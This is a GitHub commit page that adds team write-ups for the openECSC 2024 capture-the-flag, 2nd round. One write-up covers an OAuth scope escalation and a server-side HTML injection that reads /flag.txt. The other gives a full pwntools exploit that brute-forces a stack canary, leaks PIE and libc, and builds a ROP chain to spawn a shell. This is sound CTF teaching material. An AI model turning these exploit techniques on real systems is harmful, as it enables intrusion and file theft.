Skip to content

Commit

Permalink
Merge pull request #138 from dothidden/132-feat-add-openecsc-writeups
Browse files Browse the repository at this point in the history
132 feat add openecsc writeups
  • Loading branch information
Costinteo authored May 15, 2024
2 parents fed131a + 4edd9cd commit 7c92356
Show file tree
Hide file tree
Showing 6 changed files with 569 additions and 0 deletions.
7 changes: 7 additions & 0 deletions content/openECSC_2nd_round_2024/_index.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
---
title: openECSC 2024 (2nd Round)
date: 2024-04-28T13:34:38+03:00
description: Writeups for [openECSC 2024 (2nd Round)]
place: 54
total: 914
---
334 changes: 334 additions & 0 deletions content/openECSC_2nd_round_2024/fpfc.md

Large diffs are not rendered by default.

47 changes: 47 additions & 0 deletions content/openECSC_2nd_round_2024/woauth_a_laundry.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,47 @@
---
title: woauth a laundry
date: 2024-05-09T13:39:57+03:00
description: Writeup for woauth a laundry [openECSC 2024 (2nd Round)]
author: zenbassi
tags:
- web
---
___

## Challenge Description

Welcome to our innovative business, the only ONE Laundry capable of completely sanitize your clothing by removing 100% of bacteria and viruses.

Flag is in /flag.txt.

Site: http://woauthalaundry.challs.open.ecsc2024.it

## Intuition

I'm not good with web challenges, so I was very proud when I solved this challenge, even though it was one of most solved.

After logging in, I inspected the session storage. There, I immediately noticed an admin entry with the value 0. Setting its value to 1 revealed an `/admin` page with a `Generate Report` button. Pressing the button generates a POST request. After getting a response with status code `401` Unauthorised, I assumed our user does not have enough privileges. I logged out, and more carefully inspected the login process.

The login consists of two requests:
* first, a request to `/api/v1/creds`, which acquires the `client_id` and the `client_secret`
* followed by a request to `/openid/authentication`, which authenticates the user with the given `client_id` for the given `scope` list.

That scope list seemed interesting. By default, it is populated with `openid laundry amenities`. Since we desire access to a feature of the `/admin` page I intercepted the request, updated the scope list to `openid laundry amenities admin` and forwarded it. The session obtained in this manner indeed gave me access to the `Generate Report` request, which returns a PDF.

We also notice a `GET` request to `/api/v1/admin` which returns some docs of the `generate_report` request:

```json
{"admin_endpoints":[{"exampleBody":{"requiredBy":"John Doe"},"methods":["POST"],"path":"/generate_report"}]}
```

Now we're talking! The POST request made to `/generate_report` accepts an optional parameter `requiredBy`. By default, the request is made without this optional parameter, and as a result the PDF file holds the text _Required by Anonymous_. Sending the request including the `requiredBy` key with some value of our own generates the PDF with the respective value rendered in the PDF.

We just have to figure out a method read the flag from the disk and load its value into the PDF.

## Solution

After some trial and error, I ruled out any SSTI. Inputting an HTML tag lead to it being correctly parsed, so I assumed we're dealing with a Server Side XSS. I got the flag by filling the `requiredBy` field with `<object data=\"/flag.txt\"></object>`.

### Flag

`openECSC{On3_l4uNdrY_70_ruL3_7h3m_4l1!_d208a530}`
181 changes: 181 additions & 0 deletions content/openECSC_2nd_round_2024/yet_another_guessing_game.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,181 @@
---
title: yet another guessing game
date: 2024-05-10T16:37:39+03:00
description: Writeup for yet another guessing game [openecsc_round2_2024s]
author: zenbassi
tags:
- pwn
---
___

## Challenge Description

The title says it all. Guess the secret!

nc yetanotherguessinggame.challs.open.ecsc2024.it 38010

## Intuition

We're dealing with a very simple binary with all protections enabled:
```
RELRO STACK CANARY NX PIE
Full RELRO Canary found NX enabled PIE enabled
```
Reversing it doesn't take too long. It first opens `/dev/urandom` and reads 16 bytes of random data into a buffer. After that it runs a multi-step loop. Inside the loop, the player is asked to guess the random value, and the input is checked against the random value with `memcmp`. The player receives feedback based on the result of the `memcmp`. Regardless of the restul, the player is given the option to break out of the loop or loop again.

There are a few key observations:
1. The input from the user is received through a `read` call, which attempts to read 104 bytes into a buffer of 40 bytes. By providing more than 40 bytes of data, we cause a stack-based buffer overflow;
2. The check of equality between our value and the random value is done with `memcmp`, using the length of our buffer, calculated with `strlen`. This allows us to control how much data we're checking;
```c
__n = strlen(buf_vuln);
fd = memcmp(buf_vuln,buf_ok,__n);
```
3. We're allowed to run the loop again, **even if** we successfully _guess the secret_;
Using this information, we notice that a loop iteration can be used as an oracle for checking the correctness of the first byte in the secret. We can try all 255 possible values until we find the right value and then continue, using the same logic, with the next bytes. We can use this technique to guess upwards of 39 bytes from the stack, which include the CANARY and the return address of the function. As such, we bypass the CANARY, which allows us to override the return address. Furthermore, by leaking the return address, we're essentially leaking an address from the address space of the binary, which in turn enables us to find the PIE slide offset and bypass ASLR.

Leaking the PIE slide offset is necessary in order to continue the attack. We don't have a **one gadget** as part of the binary, so we also need a libc leak. We can overflow another 24 bytes past the return address, which is enough to build a small ROP chain. Using ROPgadget we find a `pop rid; ret` gadget, which we'll use to call `puts@plt` on an entry from the GOT.

```
0x0000000000001503 : pop rdi ; ret
```
By printing the address of a known function from the GOT table, we can get a libc leak, which we can then use to call `system`. But before that, we need to do some more ROPing and unfortunately there's not enough overflow material. What we can do instead is obtain the libc leak and then return back to the `game` function and redo the whole process again! After guessing the new CANARY, we continue with the second part of the attack. The first part of the payload looks like this:
```py
payload = b'A' * 56 + canary + b'B' * 8
payload += p64(pop_rdi_sliced)
payload += p64(puts_got_sliced)
payload += p64(puts_sliced)
payload += p64(game_sliced)
```

For the second part of the attack, we can just use the libc offset to find the address of the system function and use it to call `/bin/sh`. The payload looks like this. [libc.blukat](https://libc.blukat.me/) is a very useful tool for getting the relative offsets of functions or even the `/bin/sh` string from libc. Here is the second part of the payload

```py
payload = b'A' * 56 + canary + b'B' * 8
payload += p64(pop_rdi_sliced)
payload += p64(bin_sh)
payload += p64(ret) # use this to align the stack for system
payload += p64(system_sliced)
```

## Solution

Here is the full exploit:

```python
#! /usr/bin/env python3

from pwn import *

# p = process('./yet_another_guessing_game/build/yet_another_guessing_game')
# p = process(['./yet_another_guessing_game/libs/ld-linux-x86-64.so.2', \
# './yet_another_guessing_game/build/yet_another_guessing_game'], \
# env={"LD_PRELOAD": './yet_another_guessing_game/libs/libc.so.6'})

p = remote('yetanotherguessinggame.challs.open.ecsc2024.it', 38010)

def runda(payload, act=b'y'):
p.recvuntil(b'et!\n')
p.send(payload)
re = p.recvline()
ret = None
if b'win' in re:
ret = True
else:
ret = False
p.recvline()
p.send(act)
return ret


def bruteforce():
runda(b'A' * 57)

buf_ok = b'A' * 16
canary = b'A'
for _ in range(7):
for b in range(1, 256):
payload = buf_ok + canary + b.to_bytes() + b'\0'
ret = runda(payload)
if ret:
canary += b.to_bytes()
break

assert(len(canary) == 8)

rbp = b'B' * 8
runda(b'A' * 56 + canary + rbp)

ret_addr = b''
for _ in range(7):
for b in range(1, 256):
payload = buf_ok + canary + rbp + ret_addr + b.to_bytes() + b'\0'
ret = runda(payload)
if ret:
ret_addr += b.to_bytes()
break

ret_addr = ret_addr[::-1]
# print("return address: ", hex(int.from_bytes(ret_addr)))

# payload = buf_ok + canary + rbp + ret_addr

canary = b'\0' + canary[1:]
runda(b'A' * 56 + canary) # repair the canary with the 0 byte

ret_offset = 0x101483
pie_slice = int.from_bytes(ret_addr) - ret_offset
# print(hex(pie_slice))

return canary, pie_slice

canary, pie_slice = bruteforce()
game_sliced = 0x0010128f + pie_slice
puts_sliced = 0x001010e0 + pie_slice
puts_got_sliced = 0x00103f88 + pie_slice
pop_rdi_sliced = 0x001503 + 0x100000 + pie_slice
ret = 0x101a + 0x100000 + pie_slice

payload = b'A' * 56 + canary + b'B' * 8
payload += p64(pop_rdi_sliced)
payload += p64(puts_got_sliced)
payload += p64(puts_sliced)
payload += p64(game_sliced)
runda(payload, b'n')
p.recvline() # skip

puts_libc = p.recvline().rstrip() + b'\0\0'
# print(puts_libc)
puts_libc_addr = u64(puts_libc)
print(hex(puts_libc_addr))

# gdb.attach(p)
# pause()

canary, pie_slice = bruteforce()
# system_sliced = puts_libc_addr - 174656
system_sliced = puts_libc_addr - 205200
# bin_sh = puts_libc_addr + 0x1217b8
bin_sh = puts_libc_addr + 1245597

payload = b'A' * 56 + canary + b'B' * 8
payload += p64(pop_rdi_sliced)
payload += p64(bin_sh)
payload += p64(ret)
payload += p64(system_sliced)

runda(payload, b'n')

# gdb.attach(p)
# pause()

p.recvline() # skip

p.interactive()
```

### Flag

`openECSC{y3t_an0th3r_br0ken_gu3ssing_g4me_<3.hidden}`
Binary file added static/images/openecsc-r2-2024/func_sign.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added static/images/openecsc-r2-2024/sketch.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.

0 comments on commit 7c92356

Please sign in to comment.